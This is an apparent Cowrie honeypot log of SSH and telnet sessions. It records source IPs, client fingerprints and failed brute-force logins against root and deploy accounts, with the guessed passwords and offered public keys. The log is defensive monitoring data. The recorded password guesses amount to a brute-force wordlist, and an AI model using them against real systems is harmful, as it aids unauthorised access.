{"eventid":"cowrie.login.failed","username":"root","password":"schokk","message":"login attempt [root/schokk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:51.081801Z","src_ip":"103.77.175.15","session":"a7bbabc3d342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:52.310905Z","src_ip":"103.77.175.15","session":"a7bbabc3d342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35144,"dst_ip":"159.203.135.109","dst_port":22,"session":"dafab774da45","protocol":"ssh","message":"New connection: 80.66.85.226:35144 (159.203.135.109:22) [session: dafab774da45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:03.745255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:03.749152Z","src_ip":"80.66.85.226","session":"dafab774da45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:03.841735Z","src_ip":"80.66.85.226","session":"dafab774da45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"53142ffk","message":"login attempt [root/53142ffk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:04.121338Z","src_ip":"80.66.85.226","session":"dafab774da45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:05.216466Z","src_ip":"80.66.85.226","session":"dafab774da45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56608,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6d78f8e800","protocol":"telnet","message":"New connection: 107.6.151.170:56608 (159.203.135.109:23) [session: aa6d78f8e800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:19.569773Z"}
{"eventid":"cowrie.session.closed","duration":57.25295305252075,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:35.666060Z","src_ip":"170.64.224.25","session":"76bd74ea8bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":36556,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2fae1144b38","protocol":"ssh","message":"New connection: 94.138.209.214:36556 (159.203.135.109:22) [session: c2fae1144b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:46.875288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:46.878645Z","src_ip":"94.138.209.214","session":"c2fae1144b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:47.003214Z","src_ip":"94.138.209.214","session":"c2fae1144b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!!!","message":"login attempt [root/qwe123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:47.535507Z","src_ip":"94.138.209.214","session":"c2fae1144b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:48.663924Z","src_ip":"94.138.209.214","session":"c2fae1144b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31450700759888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:51.884190Z","src_ip":"107.6.151.170","session":"aa6d78f8e800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58204,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca9c26f5746","protocol":"telnet","message":"New connection: 107.6.151.170:58204 (159.203.135.109:23) [session: 1ca9c26f5746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:52.012935Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41632,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf15e015f139","protocol":"telnet","message":"New connection: 170.64.224.25:41632 (159.203.135.109:23) [session: cf15e015f139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:53.747140Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41648,"dst_ip":"159.203.135.109","dst_port":23,"session":"15b47807fd4c","protocol":"telnet","message":"New connection: 170.64.224.25:41648 (159.203.135.109:23) [session: 15b47807fd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:53.931381Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"0146d95d56c0","protocol":"ssh","message":"New connection: 23.88.42.180:40248 (10.17.0.5:22) [session: 0146d95d56c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:59.249840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:59.254249Z","src_ip":"23.88.42.180","session":"0146d95d56c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:59.350555Z","src_ip":"23.88.42.180","session":"0146d95d56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZCASh$S3cur3@W0rd","message":"login attempt [root/ZCASh$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:41:59.643074Z","src_ip":"23.88.42.180","session":"0146d95d56c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":29047,"dst_ip":"159.203.135.109","dst_port":22,"session":"016eca0c8f72","protocol":"ssh","message":"New connection: 203.121.40.210:29047 (159.203.135.109:22) [session: 016eca0c8f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:00.618379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:00.622320Z","src_ip":"203.121.40.210","session":"016eca0c8f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:00.742192Z","src_ip":"23.88.42.180","session":"0146d95d56c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:00.972625Z","src_ip":"203.121.40.210","session":"016eca0c8f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345678910","message":"login attempt [deploy/12345678910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:02.382225Z","src_ip":"203.121.40.210","session":"016eca0c8f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:03.637328Z","src_ip":"203.121.40.210","session":"016eca0c8f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.66546058654785,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:13.678303Z","src_ip":"107.6.151.170","session":"1ca9c26f5746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41670,"dst_ip":"159.203.135.109","dst_port":23,"session":"8193a36c09ce","protocol":"telnet","message":"New connection: 170.64.224.25:41670 (159.203.135.109:23) [session: 8193a36c09ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:17.388527Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":50670,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0d7452393a","protocol":"ssh","message":"New connection: 162.144.64.128:50670 (159.203.135.109:22) [session: 7d0d7452393a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:17.839601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:17.847629Z","src_ip":"162.144.64.128","session":"7d0d7452393a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:17.938902Z","src_ip":"162.144.64.128","session":"7d0d7452393a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.185.228","src_port":58428,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ffb7e6e5e1","protocol":"ssh","message":"New connection: 45.55.185.228:58428 (10.17.0.5:22) [session: 42ffb7e6e5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.054328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.059654Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.067027Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:19:9e:4d:1c:43:bb:d4:d9:48:f3:c1:c2:29:f2:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt6+bTsegBjidp5P6xk8WjKXvSo7KsuQQKUzA3/9GSd53Gp6GQtgqdxE9yitem16Jc3nbhCqKo4PfySCBoDFU228A8EqlmRFoI9QFFgrNLS0bCXUsErRMFaKLJrq2sO1XcN9PoioBA+PAao7sUquZXfAysXHf3gpHN3/gLp+eU0s2ZCRMWoZNrPQRj27TxyZsp2xoxFjUYfClH2jsAzgRKKEym5mN8hcP08WfcwtlORy73B7T8A16XuCGkQ8VWiBJwNCfszsbFr0DjAVfauoTThwVdpSa656mMQ9u7fFXG7zXGO8Q3SvLmUxuu2myibaIqMz4+en2vacDPeFZrX3zF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:19:9e:4d:1c:43:bb:d4:d9:48:f3:c1:c2:29:f2:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.081577Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:19:9e:4d:1c:43:bb:d4:d9:48:f3:c1:c2:29:f2:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt6+bTsegBjidp5P6xk8WjKXvSo7KsuQQKUzA3/9GSd53Gp6GQtgqdxE9yitem16Jc3nbhCqKo4PfySCBoDFU228A8EqlmRFoI9QFFgrNLS0bCXUsErRMFaKLJrq2sO1XcN9PoioBA+PAao7sUquZXfAysXHf3gpHN3/gLp+eU0s2ZCRMWoZNrPQRj27TxyZsp2xoxFjUYfClH2jsAzgRKKEym5mN8hcP08WfcwtlORy73B7T8A16XuCGkQ8VWiBJwNCfszsbFr0DjAVfauoTThwVdpSa656mMQ9u7fFXG7zXGO8Q3SvLmUxuu2myibaIqMz4+en2vacDPeFZrX3zF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.084833Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:c2:34:9b:fd:a6:f1:6e:60:38:0b:1f:e0:54:5d:16","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAON6v0yC4d282fVGlsp9bsCgZ75Yi7kCUJYqT4VapxKaxMGtFakuONnbrB7fsYyBcVRf0enOwjKMvpguuV0kp9KYP13ayQU0Hz7ej1PgN/H59XjiGDQjfwjiegAQMfzYlW8YpPL7H4pWAQ/bpUWEw8wyyw25ELltrCMgRy0lA7erAAAAFQCnMGp2ojqr6O+VccjZq74GiB6QXwAAAIEAjkpYB/D++LQK8j8RLi5FE5dUJ2csZ7V4V8XMKdpp4iJPXhS3swMFDHS+w3Vsk0kS0Zqn9Ddw0t8Cp1E4gNth02u13B21FGmd5ouo4VfLYhQP/1Tsu+H3xwbaRfYaz3Pgly5+zZ8tZSpZI4GvjjM39NvLU11t9EGJMfAgcszKLvgAAACBANsEZ4/NKx0d7bpG+cE6nSXoAn1XzJkEND0x7L0n9HWeufjX1zscDflp0miVJzJo+NBGMIWd1hkOpXud/5vAOgdMscnI0muvCoh87q3dUWGVzdG+CvqmYWt4ssw1y8w48RQOnxHpQH8RbNvQkexTgX5Acs7f8fzq3RJQSHDcU+X4","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f3:c2:34:9b:fd:a6:f1:6e:60:38:0b:1f:e0:54:5d:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.092749Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:c2:34:9b:fd:a6:f1:6e:60:38:0b:1f:e0:54:5d:16","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAON6v0yC4d282fVGlsp9bsCgZ75Yi7kCUJYqT4VapxKaxMGtFakuONnbrB7fsYyBcVRf0enOwjKMvpguuV0kp9KYP13ayQU0Hz7ej1PgN/H59XjiGDQjfwjiegAQMfzYlW8YpPL7H4pWAQ/bpUWEw8wyyw25ELltrCMgRy0lA7erAAAAFQCnMGp2ojqr6O+VccjZq74GiB6QXwAAAIEAjkpYB/D++LQK8j8RLi5FE5dUJ2csZ7V4V8XMKdpp4iJPXhS3swMFDHS+w3Vsk0kS0Zqn9Ddw0t8Cp1E4gNth02u13B21FGmd5ouo4VfLYhQP/1Tsu+H3xwbaRfYaz3Pgly5+zZ8tZSpZI4GvjjM39NvLU11t9EGJMfAgcszKLvgAAACBANsEZ4/NKx0d7bpG+cE6nSXoAn1XzJkEND0x7L0n9HWeufjX1zscDflp0miVJzJo+NBGMIWd1hkOpXud/5vAOgdMscnI0muvCoh87q3dUWGVzdG+CvqmYWt4ssw1y8w48RQOnxHpQH8RbNvQkexTgX5Acs7f8fzq3RJQSHDcU+X4","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.095845Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
